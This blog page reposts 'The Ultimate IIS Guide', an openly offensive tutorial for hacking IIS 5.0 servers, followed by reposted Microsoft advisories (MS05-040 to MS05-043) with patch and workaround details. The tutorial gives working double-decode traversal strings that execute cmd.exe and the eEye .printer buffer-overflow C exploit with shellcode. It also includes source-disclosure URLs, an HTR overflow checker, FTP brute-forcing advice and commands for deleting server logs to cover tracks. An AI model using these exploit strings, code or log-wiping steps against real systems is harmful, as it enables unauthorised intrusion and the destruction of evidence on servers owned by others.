IIS 5.0 vulnerable

posted on 12 Nov 2009 10:15 by c1ementia

source :http://neworder.box.sk/news/8465

 

This is not a article for a script kiddie. It's a little late but still applicable today, very applicable. This article is inteded to be a robust guide for hacking, and administering IIS 5 servers. So without further adeu The Ultimate IIS Guide.

Outline:
I. Introduction
II.  Information Gathering
A.  Enumeration
B.  Identify the directory structure
C.  Is it patched or not?
III.  Exploits
A.  Double Decode(Superflous)
B.  IDQ Buffer Overflow
C.  Source Code Disclosure Exploits
1.  Historical Importance
2.  Impact
3.  New Source Code Disclosure Vulnerabilities
D. WebDav Exlploit
IV.  Covering your Tracks
A.  Where are the Logfiles?
B.  Why can't I delete them now!
C.  How I will delete them later.

Foreword

Know your stuff! Remember by default all actions of yours are logged on IIS 5 and the FTP server, not sure about the smtp server but who cares, you can't use VRFY anyway!

Let's say you are hacking a web server, and you know it is IIS 5. If the IIS Server is running it has a virtual root. By default the virtual root is c:\inetpub\wwwroot\. So if you send the request



GET /frick.html HTTP/1.0

It checks c:\inetpub\wwwroot\ to see if it has a file named frick.html if it does it sends it. Now if you request the default document by way of



GET / HTTP/1.0

It then looks for the default document. Which if left unchanged is c:\inetpub\wwwroot\iisstart.asp. You must manually change the default document to whatever you wish using the IIS Configuration Dialog. If the pages default.asp or default.htm exist it will serve them instead. If both exist it will serve default.asp. This is the default precedence of the sample pages.



The first things you should check for while gathering info about the server is if the administrator has preserved the default directory structure and such. A virtual directory is a directory that can be accessed by IIS without the directory actually being in the virtual root. Virtual Directories that you should check for first are:
/_vti_bin/
/scripts/
/msadc/
/iissamples/
/_vti_pvt/
/_vti_cnf/
/_private/

"What good does this do?" you might ask? Well, first it gives you a feel for the directory structure of the machine. And second, if they have failed to patch their machine, you might be able to exploit it using one of the technique's I describe in this paper. After checking those first directories, you can check for some common directories on websites that have chosen not to keep the default structure such as these.
/cgi-bin/ /bin/ /admin/ /config/ /asp/ 
/cfg/ /exe/ /php/ /perl/ /binary/
/src/ /tar/ /include/ /topics/ /pwd/ 
/private/ /conf/ /logs/ /log/ /audio/ 
/sound/ /pvt/ /images/ /public/ /home/
/cpp/ /db/ /data/ /news/

But don't let this list limit you. You must know as much as possible about the system. So use your imaginiation. Ok? Done using your imagination. Ready for the 31337 stuff? Lets begin. If the web page has a default under construction page, it is most likely that the Server was installed by accident and that the current user of the computer does not know about it. It has happened many times. At least 5 times with people I know. However whether or not they installed it by accident, the known vulnerabilities for the default installation are worthless if they used the windows update. Which eradicates at least 10-20 exploits. Also before you start hacking away at the server you want do a port scan, if you haven't already, and see if ftp is running it might come in handy as we will discuss later.



The first exploits I will discuss are the Double Decode(sometimes called the Superflous Decode)Directory Traversal Attacks. These are easily exploitable on a default installation of IIS 5.0. Some people think that you must have a myriad of tools to hack. This is a very clean cut example that prooves you can get root, armed with only a web browser. To exploit this you must first find a directory with execute permissions. Such directories by default are: scripts, iissamples, msadc, and _vti_bin. In a possible exploit request string you could have "http://55.55.55.55/scripts" & *Exploit String*. I put *A Exploit String there because there are many to choose from as listed below.(These exploit strings all execute the dos command dir, which gives directory listing)



    /..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:
    /..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:
    /..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:
    /..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:
    /..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:
    /..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:
    /..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:
    /..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:


I am going to stop listing exploit strings to preserve brevity. But the way the exploit works is that IIS checks for "/../../" (dot-slash) attacks before decoding the request string. So it does not notice that after it decodes the urlencoded string that it is in fact allowing a traversal to take place. Maybe an example will help. Let decode this string "/scripts/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\". We know that %35 decodes to 5 so replace all the %35s with 5 which looks like this "/scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe?/c+dir+c:\". Then it checks to make sure it got all the url encoded stuff and it realizes it forgot to decode %5c, which is a \(also IIS changes /'s to \'s). Thus the final path that IIS is left with is "\scripts\..\..\..\..\winnt\system32\cmd.exe?\c+dir+c:\" which tells IIS to hop down four directories and then to look in c:\winnt\system32\cmd.exe and since the original directory was scripts and had execute permissions it executes the shell "cmd.exe" and passes the command line parameters behind the ? in the http request. The shell command would look like this "cmd.exe /c dir c:\".



This is exploit is only limited by your imagination. You can copy files, delete them, disable logging and even delete old logs by utilizing this technique. I have heard that you can upload files using it as well but I haven't been able to do it myself. You can make their floppy drive spin and if they have a disk in at the time, you can read files off of it easily with a type command! This is possible with a cd-rom drive too. There is probably a way to eject the cdrom but I don't know how. More information on this exploit at end of paper.



The next exploit is the exploit used by the codered worm to squiggle its way through the ineternet. And unless you live in front of your old commodore 64 with no internet connection(which some of you might judging from the pictures at neworder) you will no doubt know how effective codered was. The exploit was dubbed the IDQ .Printer Overflow(Pronounced I Dee Que (dot) Printer). The exploit was first discovered by www.eeye.com they released a simple proof of concept. The proof of concept writes a file to the root of any machine that describes how to remedy the vulnerability. The exploit is done by making a request such as
GET /NULL.printer HTTP/1.0
HOST: [420 char Buffer]

At the 420 char mark you have succesfully overwritten EIP. Then shove in your shellcode and root it! The following proof of concept was provided by www.eeye.com Note: I have been unable to get their proof of concept to work and will provide another and references to others at the end of this paper.


Begin File iishack2000.c
#ifdef _WIN32
#include <Winsock2.h>
#include <Windows.h>
#define snprintf _snprintf
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#include <stdio.h>

void usage();
unsigned char GetXORValue(char *szBuff, unsigned long filesize);

unsigned char sc[2][315]={      "\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\
xeb\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76\xf9\x80\xc4\x07\x88\xf6\x3
0\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07\x80\xc4\x07\xe1\xf7\x30\xc3\x8a\x3d\x80\xc5\x07\x80\xc4\
x17\x8a\x3d\x80\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\x03\x69\x01\x53\x53\x6b\x0
3\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53\x54\x69\x48\xfc\x76\x17\x50\xfc\x56\x0f\x50\
xfc\x56\x03\x53\xfc\x56\x0b\xfc\xfc\xfc\xfc\xcb\xa5\xeb\x74\x8e\x28\xea\x74\xb8\xb3\xeb\x74\x27\x49\xe
a\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d\x77\x7b\x77\x03\x6a\x6a\x70\x6b\
x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\x6f\x23\x50\x66\x60\x76\x7
1\x6a\x77\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x75\x6a\x70\x6a\x77\x39\x23\
x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x90\x90\x90\xcb\x4a\x42\x6c\
x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x00", 
                                "\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\
xeb\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76\xf9\x80\xc4\x07\x88\xf6\x3
0\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07\x80\xc4\x07\xe1\xf7\x30\xc3\x8a\x3d\x80\xc5\x07\x80\xc4\
x17\x8a\x3d\x80\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\x03\x69\x01\x53\x53\x6b\x0
3\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53\x54\x69\x48\xfc\x76\x17\x50\xfc\x56\x0f\x50\
xfc\x56\x03\x53\xfc\x56\x0b\xfc\xfc\xfc\xfc\x50\x33\xeb\x74\xf7\x86\xeb\x74\x2e\xf0\xeb\x74\x4c\x30\xe
b\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d\x77\x7b\x77\x03\x6a\x6a\x70\x6b\
x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\x6f\x23\x50\x66\x60\x76\x7
1\x6a\x77\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x75\x6a\x70\x6a\x77\x39\x23\
x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x90\x90\x90\xcb\x4a\x42\x6c\
x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x00"};

main (int argc, char *argv[])
{
        char request_message[500];
        int X,sock,sp=0;
        unsigned short serverport=htons(80);
        struct hostent *nametocheck;
        struct sockaddr_in serv_addr;
        struct in_addr attack;
#ifdef _WIN32
        WORD werd;
        WSADATA wsd;
        werd= MAKEWORD(2,0);
        WSAStartup(werd,&wsd);
#endif
        printf("iishack2000 - Remote .printer overflow in 2k sp0 and sp1\n");
        printf("Vulnerability found by Riley Hassell <riley@eeye.com>\n");
        printf("Exploit by Ryan Permeh <ryan@eeye.com>\n");
        if(argc < 4) usage();
        if(argv[1] != NULL)
        {
                nametocheck = gethostbyname (argv[1]);
                memcpy(&attack.s_addr,nametocheck->h_addr_list[0],4);
        }
        else usage();   
        if(argv[2] != NULL)
        {
                serverport=ntohs((unsigned short)atoi(argv[2]));
        }       
        if(argv[3] != NULL)
        {
                sp=atoi(argv[3]);
        }       
        printf("Sending string to overflow sp %d for host: %s on port:%d\n",sp,inet_ntoa(attack),htons
(serverport));
        memset(request_message,0x00,500);
        snprintf(request_message,500,"GET /null.printer HTTP/1.1\r\nHost: %s\r\n\r\n",sc[sp]);
        sock = socket (AF_INET, SOCK_STREAM, 0);
        memset (&serv_addr, 0, sizeof (serv_addr));
        serv_addr.sin_family=AF_INET;
        serv_addr.sin_addr.s_addr = attack.s_addr;
        serv_addr.sin_port = serverport;
        X=connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
        if(X==0)
        {
                send(sock,request_message,strlen(request_message)*sizeof(char),0);
                printf("Sent overflow, now look on the c: drive of %s for www.eEye.com.txt\n",inet_nto
a(attack));
                printf("If the file doesn't exist, the server may be patched,\nor may be a different s
ervice pack (try again with %d as the service pack)\n",sp==0?1:0);              
        }
        else
        {
                printf("Couldn't connect\n",inet_ntoa(attack));
        }
#ifdef _WIN32
        closesocket(sock); 
#else
        close(sock);
#endif
        return 0;
}
void usage()
{
        printf("Syntax:  iishack2000 <hostname> <server port> <service pack>\n");
        printf("Example: iishack2000 127.0.0.1 80 0\n");
        printf("Example: iishack2000 127.0.0.1 80 1\n");        
        exit(1);
}

End of File


The next series of exploits will focus on script source code disclosure. The first exploit for this is caused by a sample script that comes with IIS 5.0. It's name is codebrws.asp. codebrws.asp was meant to show people how to create simple scripts, and is also able to format already created scripts into nice colors, anyway, it opens the file specified in the url variable &source.
/iissamples/sdk/asp/docs/codebrws.asp?source=/iissamples/sdk/asp/docs/codebrws.asp 
/iissamples/sdk/asp/docs/codebrws.asp?source=/iissamples/%c0%ae%c0%ae/iisstart.asp

The next vulnerability is releatively new, so I won't pretend to have expereince exploiting it. It's called the HTR Chunked Encoding Buffer overflow and I have a proof of concept right here for you. The Information you need should be in the script. It is in perl, sorry windows users, but if you use windows and still want to try to run it, goto activestate.com

Begin File HTR_Exploit.pl


#!/usr/bin/perl

########################################################################
# (c) Filip Maertens/CISSP, .HTR Heap Overflow checker.

# DISCLAIMER: This tool is only to be used for legitimate purposes only.
# This is considered as an intrusive, so  please adhere to the laws  and
# regulations applicable in your country.  Oh, and honey, there is pizza
# in the fridge...  
#
# CREDITS: @stake/KPMG for the advisory
#          Thor Larholm for the patch identification remark
#
########################################################################


use Socket;

print "iischeck.pl | Microsoft .HTR Heap Overflow Checker | <filip\@securax.be>\n-----------------------------------------------------------------------\n";

$host= @ARGV[ 0 ];
$method= @ARGV[ 2 ];
my $target = inet_aton($host);
$port = 80;

$requestmethod[0] = "GET";
$requestmethod[1] = "HEAD";
$requestmethod[2] = "POST";


# Initializing strings & vars

$patchedstring    = "InsertElementAnchor";
$nonpatchedstring = "document.write";
$bogusurl         = "/xxxiischeckxxx";


# Main loop of rotten code

if ($host ne "") {

  print " -- Checking hostname: $host\n";
  
  $rawrequest = "$requestmethod[$method] $bogusurl HTTP/1.1\nClient-Agent:iischeck.pl\nHost:$host\r\n\r\n";    
  @results = sendrequestandgetanswer($rawrequest);

  $criticalline = $results[49];   # 49, since HTTP headers are included

  if ($results[2] =~ "IIS") {
  
    SWITCH: {
                if ($criticalline =~ $nonpatchedstring) { $patched = " -- Status: System vulnerable."; last SWITCH; }
                if ($criticalline =~ $patchedstring) { $patched = " -- Status: System MS02-18 patched."; last SWITCH; }
                $patched = " -- Status: Cannot identify patch level";
            }  

  print "$patched\n\n";
  
  } else {
  
    print " -- Error: System is not a Windows/IIS host.\n\n";
  
  }

} else {


  showusage();
  
}


exit(0);


#######: Functions used by iischeck.pl :#######

sub showusage
    {
     print "Usage: iischeck [hostname] -method [method]\n";
    }

sub sendrequestandgetanswer
    {
     my ($rawrequest)= @_;
    @lines = sendrawandgetanswer ($rawrequest);
    return @lines;
    }

sub sendrawandgetanswer 
    {
     my ($pstr)=@_;
     socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die(" -- Error in creating socket\n");
     if (connect(S,pack "SnA4x8",2,$port,$target))
        {
          my @in="";
          select(S); 
        $|=1; 
        print $pstr;
                <!--while(<S>)-->
            {
            push @in,$_; 
            last if ($line=~ /^[rn]+$/ );
            }
          select(STDOUT); 

        return @in;
         } 
    else 
        { 
        die(" -- Error connecting to: $host\n"); 
        }
    }


sub sendraw
    {
     my ($pstr)=@_;
     socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die("Socket problems\n");
     if (connect(S,pack "SnA4x8",2,$port,$target))
        {
          my @in="";
          select(S); 
        $|=1; 
        print $pstr;

         } 
    else 
        { 
        die("connect problems\n"); 
        }
    }
    
    End of File

Well I know the last one needs more info, but hey, would it be fun If I spoonfed ya'll all the way? That exploit unlike the other's listed will even work with IIS 5.1, which is the web server that comes with Windows XP Professional.




So you got in? You have at this point (hopefully) found a hole in this IIS server and have or are going to exploit it. What you do next is up to you. But bear in mind that, by default, all actions on IIS 5 and it's FTP server are logged. And that is what the next seciton is about.



The web server log resides in "c:\winnt\system32\logfiles\w3svc1\". The FTP server log is stored in "c:\winnt\system32\logfiles\ftpsvc1\". They log you rip address and what request you made to the server. By default they do not examine your request to see if you used a proxy. The logfiles are named according to the date. Everyday IIS creates a new logfile. So, if you did some naughty stuff today, find a proxy, come back tomorrow, and use these command's by way of the double decode exploit, if they are available. If they aren't available, because no directories, have execute permission's you can brute force the FTP server(use a ftp proxy for this one to!), and then when you get admin priveleges, you can delete the logs, or modify them, and don't forget to save some of them to your box, many times, you will find boxe's ips that have fallen victim to the codeRed worm, and those are vulnerable to the double decode attack, and the IDQ buffer overflow, and most of the time are complete default IIS 5 installations.



Useful Double Decode Command's(The command comes after the exploit string)
By the way I haven't tested all of these but I have tested as many as I could, the reason I couldn't test them all was because
my server that I was using was shut down while I was testing them.

    /cmd.exe?/c+dir+c:
    /cmd.exe?/c+type+....win.ini (Try Different combinations with this one, for some reason c:pathfilename didn't work in my test
    /cmd.exe?/c+type+..\..\config.sys
    /cmd.exe?/c+dir+c:\WinNT\System32\LogFiles\
    /cmd.exe?/c+del+\LogFiles\w3svc1\ex030601.log
    or
    /cmd.exe?/c+del+c:\WinNT\System32\Logfiles\ex030601.log

The last one was just an example, but remember your going to have to find out the names of the logfiles so you can delete them yourself. Remember though, you can't delete the most recent logfile as it is being used by IIS, so if your unable to modify win.ini to delete it. And don't forget, search google for the command's that let you upload files using tftp. I hope you have at least been enlightened in some way about IIS 5 in this paper, thank you If you think this paper could use a little more before being posted or whatever just send it back with comments I will revise it if needed.



Shoutz: nex(dv2), e-eye, packetstorm, neworder, blacksun, irc.freenode.com, and the box networks



JokerDoom

vulnerability : MS05-043

posted on 11 Nov 2009 13:52 by c1ementia  in Exploit
(MS05-043) Vulnerability in Print Spooler Service Could Allow Remote Code Execution (896423)
 
 

 
Vulnerability Identifier: CAN-2005-1984 
Discovery Date: Aug 9, 2005 
Risk: Critical 
Affected Software: 
Microsoft Windows 2000 Service Pack 4
Microsoft Windows Server 2003
Microsoft Windows Server 2003 for Itanium-based Systems
Windows 2000 Service Pack 4
Windows XP Service Pack 1
Windows XP Service Pack 2
 
Description:


This security advisory resolves the newly-discovered vulnerability in the print spooler. The print spooler service is the file SPOOLSV.EXE that is installed as a service. This is launched upon operating system (OS) startup and is terminated when the OS shuts down. This service manages the printing process, which includes such tasks as retrieving the location of the correct printer driver, loading that driver, spooling high-level function calls into a print job, and scheduling print jobs. When the tasks for a particular print job are complete, the service passes the job to the print router. For more information on the print spooler service, you may visit this site.

The print spooler service is exploited because it does not perform a check on the length of the message before passing it to the allocated buffer. A specially-crafted message can cause a buffer overflow in the print spooler service. This overflow can be exploited in order to execute arbitrary code.

Once exploited, this remote code execution vulnerability could allow a malicious user or a malware to take complete control of the affected system. However, attempts to exploit this vulnerability could most likely result to a denial of service condition.

The malicious user or a malware can execute code on the system giving them the ability to install or run programs and view or edit data with full privileges. Thus, this vulnerability can conceivably be used by a malware for replication purposes.

This vulnerability can be exploited by a remote malicious attacker or a malware by:

Internet/Network-based attack scenario:
In a network-based attack scenario, the target computer needs to have a shared printer. Then, the attacker/malware can send a specially-crafted message to the target computer. The attacker/malware could try to remotely exploit the vulnerability by creating a specially crafted message and sending the message to an affected system. The message could then cause the affected system to execute code on operating system versions and configurations that were vulnerable to remote attack vectors. By default, Windows 2000 and Windows XP Service Pack 1 are vulnerable remotely. A remote attack vector cannot be created on Windows XP SP2 or on Windows Server 2003 unless a user who has appropriate permission shares a printer or tries to connect to a shared printer.


Local machine attack scenario:
The user will have to log on locally with the proper credentials and run a specially-crafted application in order to exploit this vulnerability.
 

Patch Information:

Patches for this vulnerability are available at the following links:
Microsoft Windows 2000 Service Pack 4

Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2

Microsoft Windows Server 2003

Microsoft Windows Server 2003 for Itanium-based Systems
 

Workaround Fixes:


Disabling the Print Spooler service
The Printer Spooler service can be disabled by performing the following instructions:

Click Start>Settings>Control Panel.
Double-click Administrative Tools.
In Administrative Tools, double-click Services.
In Services, double-click Printer Spooler.
In the Startup type list, click Disabled.
Click Stop, and then click OK.
Alternatively, the Printer Spooler can be disabled by entering the following command in the Command Prompt:

sc stop Spooler & sc config Spooler start= disabled

Impact of Workaround: Disabling the Printer Spooler service also prevents a system from printing locally or remotely. The said workaround is only recommended for systems that do not require printing

Removing the Print Spooler service from the NullSessionPipes registry

Open Registry Editor. Click Start>Run, type REGEDIT, then press Enter.
In the left panel, locate the following registry key:
HKEY_LOCAL_MACHINE>SYSTEM>CurrentControlSet>
Services>LanmanServer>Parameters>NullSessionPipes
Still in the left panel, locate and delete the following key:
SPOOLSS
Restart your computer.

Impact of Workaround: Anonymous connections to the Printer Spooler service is disabled.

vulnerablitiy : MS05-042

posted on 11 Nov 2009 13:52 by c1ementia  in Exploit
(MS05-042) Vulnerabilities in Kerberos Could Allow Denial of Service, Information Disclosure, and Spoofing (899587)
 
 

 
Vulnerability Identifier: CAN-2005-1981; CAN-2005-1982 
Discovery Date: Aug 9, 2005 
Risk: Moderate 
Affected Software: 
Microsoft Windows 2000 Service Pack 4
Microsoft Windows Server 2003
Microsoft Windows Server 2003 for Itanium-based Systems
Microsoft Windows Server 2003 Service Pack 1
Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
Microsoft Windows Server 2003 x64 Edition
Microsoft Windows XP Service Pack 1
Microsoft Windows XP Service Pack 2
 
Description:


This security bulletin resolves the following vulnerabilities found in Microsoft Windows:

CAN-2005-1981 - Kerberos Vulnerability is a denial of service vulnerability that allows an attacker to send a specially crafted message to a Windows domain controller, which makes the service that is responsible for authenticating users in an Active Directory domain to stop responding.
Kerberos is a default authentication protocol used by Windows 2000 and later operating system (OS) versions.
A denial of service attack takes place when the affected system displays a warning message that it would automatically restart after 60 seconds. During this countdown, local authentication at the console of the affected system and user domain authentication with the affected system would not be possible. Once the 60-second countdown expires, the system automatically restarts.
A malware cannot use this vulnerability to propagate, though it can be part of its payload.
CAN-2005-1982 - PKINIT Vulnerability is an information disclosure and spoofing vulnerability
PKINIT is the Internet Engineering Task Force (IETF) Internet Draft for Public Key Cryptography for Initial Authentication in Kerberos. Windows 2000 and later OS uses draft 9 of the IETF this Internet Draft. Windows uses PKINIT when a smart card is used for interactive logon.
This vulnerability allows an attacker to tamper with certain information that is sent from a domain controller, and potentially accesses sensitive client network communication. Affected users are fooled into thinking that they are accessing a trusted server when in reality, they are accessing a malicious server. For attackers to exploit this vulnerability, they would first have to inject themselves into the middle of a client and a domain controller's authentication session.
Since this is an information disclosure and spoofing vulnerability, a malware cannot use this for propagation purposes (no remote-code execution is involved).
 

Patch Information:


Microsoft provides a patch for each affected software. To obtain this patch, please visit the following:

Microsoft Windows 2000 Service Pack 4
http://www.microsoft.com/downloads/details.aspx?FamilyId=4E34CD17-8710-4E22-8620-3B84139C18BB
Microsoft Windows XP Service Pack 1 and
Microsoft Windows XP Service Pack 2
http://www.microsoft.com/downloads/details.aspx?FamilyId=DD24F6FA-F6BB-4358-8C2F-7F6AB405981A
Microsoft Windows XP Professional x64 Edition
http://www.microsoft.com/downloads/details.aspx?FamilyId=FB703DBD-3563-41FD-B608-361CC23796A5
Microsoft Windows Server 2003 and
Microsoft Windows Server 2003 Service Pack 1
http://www.microsoft.com/downloads/details.aspx?FamilyId=34E7CF41-C584-4071-A36F-DE19D0D04B97
Microsoft Windows Server 2003 for Itanium-based Systems and
Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
http://www.microsoft.com/downloads/details.aspx?FamilyId=037CD6D6-11F7-4C44-9CFB-4B6D0B9B93CB
Microsoft Windows Server 2003 x64 Edition
http://www.microsoft.com/downloads/details.aspx?FamilyId=B86E688C-B668-4841-B961-7C5412C525EC
 

Workaround Fixes:


Use the following workaround fixes provided by Microsoft to help block known attack vectors for the respective vulnerabilities below:

Kerberos Vulnerability
Block UDP and TCP port 88 at the firewall
UDP/TCP port 88 initiates a connection with Kerberos, thus, blocking them at the firewall prevents systems behind the firewall from exploiting this vulnerability, which originates beyond the enterprise perimeter.
PKINIT Vulnerability
As of this writing, there are still no known workaround fixes for this vulnerability.

vulnerability : MS05-041

posted on 11 Nov 2009 13:50 by c1ementia  in Exploit
(MS05-041) Remote Desktop Protocol Vulnerability Could Allow Denial of Service (899591)
Vulnerability Identifier: CAN-2005-1218 
Discovery Date: Aug 9, 2005 
Risk: Moderate 
Affected Software: 
Microsoft Windows 2000 Server Service Pack 4
Microsoft Windows Server 2003
Microsoft Windows Server 2003 for Itanium-based Systems
Microsoft Windows Server 2003 Service Pack 1
Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
Microsoft Windows Server 2003 x64 Edition
Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Service Pack 1
Microsoft Windows XP Service Pack 2
 
Description:


There is an existing denial of service (DoS) vulnerability discovered in the Remote Desktop Protocol (RDP). This vulnerability allows an attacker to send a specially crafted RDP packet that causes the affected system to stop responding. The said vulnerability exists in the file RDPWD.SYS and the available patch updates this affected file.

This vulnerability could only be leveraged to cause a DoS attack to affected servers. It therefore cannot be used to take control of target systems or as a means for propagation.
 

Patch Information:


Microsoft provides a patch for each affected software. To obtain this patch, please visit:

http://www.microsoft.com/technet/security/Bulletin/MS05-041.mspx

Workaround Fixes:


Disable Terminal Services, Remote Desktop, Remote Assistance, and Windows Small Business Server 2003 Remote Web Workplace feature if they are no longer required.

If you no longer need these services on your system, consider disabling them as a security practice. Disabling unused and unneeded services help reduce your exposure to security vulnerabilities.

For information about how to disable Remote Desktop manually, visit the following Web site:

To disable Remote Desktop
For information about how to disable Remote Desktop by using Group Policy, see the following Microsoft Knowledge Base Article:

How to Disable Remote Desktop by Using Group Policy
For information about Remote Assistance, including instructions on how to disable Remote Assistance manually and by using Group Policy, visit the following Web site:

Using Windows XP Professional with Service Pack 2 in a Managed Environment
For information about how to disable the Windows Small Business Server 2003 Terminal Services and Remote Web Workplace features, visit the following Web site:

Configuring Remote Access to the Local Network

Block TCP port 3389 at the enterprise perimeter firewall.

This port is used to initiate a connection with the affected component. Blocking it at the network perimeter firewall will help protect systems that are behind the said firewall from attempts to exploit this vulnerability. This can help protect networks from attacks that originate outside the enterprise perimeter. Affected ports that are blocked at the enterprise perimeter is the best defense to help avoid Internet-based attacks. However, systems could still be vulnerable to attacks from within their enterprise perimeter. Additionally, on Windows XP and Windows Server 2003, the Windows Firewall can help protect individual systems. This Windows Firewall by default, does not allow connections to this port, except in the Windows XP Service Pack 2 when the Remote Desktop feature is enabled.

For information about how to disable the Windows Firewall exception for Remote Desktop on these platforms, visit the following Web site:

Enable or disable the Remote Desktop exception
If the Windows Firewall exception for Remote Desktop cannot be disabled, the scope of this vulnerability may be reduced by setting the default value of all computers. This helps reduce the possibility of attacks from the Internet.

NOTE: Windows Small Business Server 2003 uses a feature named Remote Web Workplace. This feature uses TCP port 4125 for listening to RDP connections. If you are using this feature, you should validate that this port is blocked from the Internet in addition to port 3389.

NOTE: It is possible to manually change the affected components to use other ports. If you have performed these actions, you should also block those additional ports.

Help secure Remote Desktop Connections by using an IPsec policy.

Specific configurations would be dependent upon each individual environment. For information about Internet Protocol Security (IPsec), visit the following Web site:

IPsec
Detailed information about IPsec and about how to apply filters is available in the following Microsoft Knowledge Base Articles:

How To Use IPSec IP Filter Lists in Windows 2000
How to block specific network protocols and ports by using IPSec

Help secure Remote Desktop Connections by using a virtual private network (VPN) connection.

Specific configurations depend on each individual environment. For information about Virtual Private Networks, visit the following Web site:

Virtual Private Networks

vulnerability : MS05-040

posted on 11 Nov 2009 13:49 by c1ementia  in Exploit
(MS05-040) Vulnerability in Telephony Service Could Allow Remote Code Execution (893756)
 
 

 
Vulnerability Identifier: CAN-2005-0058 
Discovery Date: Aug 9, 2005 
Risk: Important 
Affected Software: 
Microsoft Windows 2000 Service Pack 4
Microsoft Windows 98
Microsoft Windows 98 Second Edition
Microsoft Windows Millennium Edition
Microsoft Windows Server 2003
Microsoft Windows Server 2003 for Itanium-based Systems
Microsoft Windows Server 2003 Service Pack 1
Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
Microsoft Windows Server 2003 x64 Edition
Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Service Pack 1
Microsoft Windows XP Service Pack 2
 
Description:


This security advisory resolves the newly-discovered vulnerability in the telephony service. The said service provides support for Telephony Application Programming Interface (TAPI). TAPI integrates telecommunications with the operating system. TAPI supports both traditional and IP telephony to provide voice, data, and video communication. Supported hardware includes sound and video cards, modems, ISDN lines, ATM networks, and cameras. By using this hardware, a user can communicate over direct connections to local computers, telephone lines, LANs, WANs, and the Internet. For more information about TAPI, you may visit this site.

The telephony service is exploited because it does not perform a check on the length of the message before passing it to the allocated buffer. A specially-crafted message can cause a buffer overflow in the telephony service. This overflow can be exploited in order to execute arbitrary code.

Once exploited, this remote code execution vulnerability could allow a malicious user or a malware to take complete control of the affected system.

The malicious user or a malware can execute code on the system giving them the ability to install or run programs and view or edit data with full privileges. Thus, this vulnerability can conceivably be used by a malware for replication purposes.

This vulnerability can be exploited by a remote malicious attacker or a malware by:

Internet-based attack scenario:
In an Internet-based attack scenario, the target computer needs to enable the telephony service. The attacker/malware could try to remotely exploit the vulnerability by creating a specially crafted message and sending the message to an affected system. However, not all systems are equally vulnerable on all counts. The following is an enumeration of the affected systems and their corresponding weakness with respect to this vulnerability:
Remote code execution is possible if you have manually enabled the telephony server feature. The telephony server feature is only available on Windows 2000 Server and Windows Server 2003.
On Windows Server 2003 the Telephony service is restricted to authenticated user accounts, even when enabled as a telephony server. Anonymous attacks are not possible on Windows Server 2003.
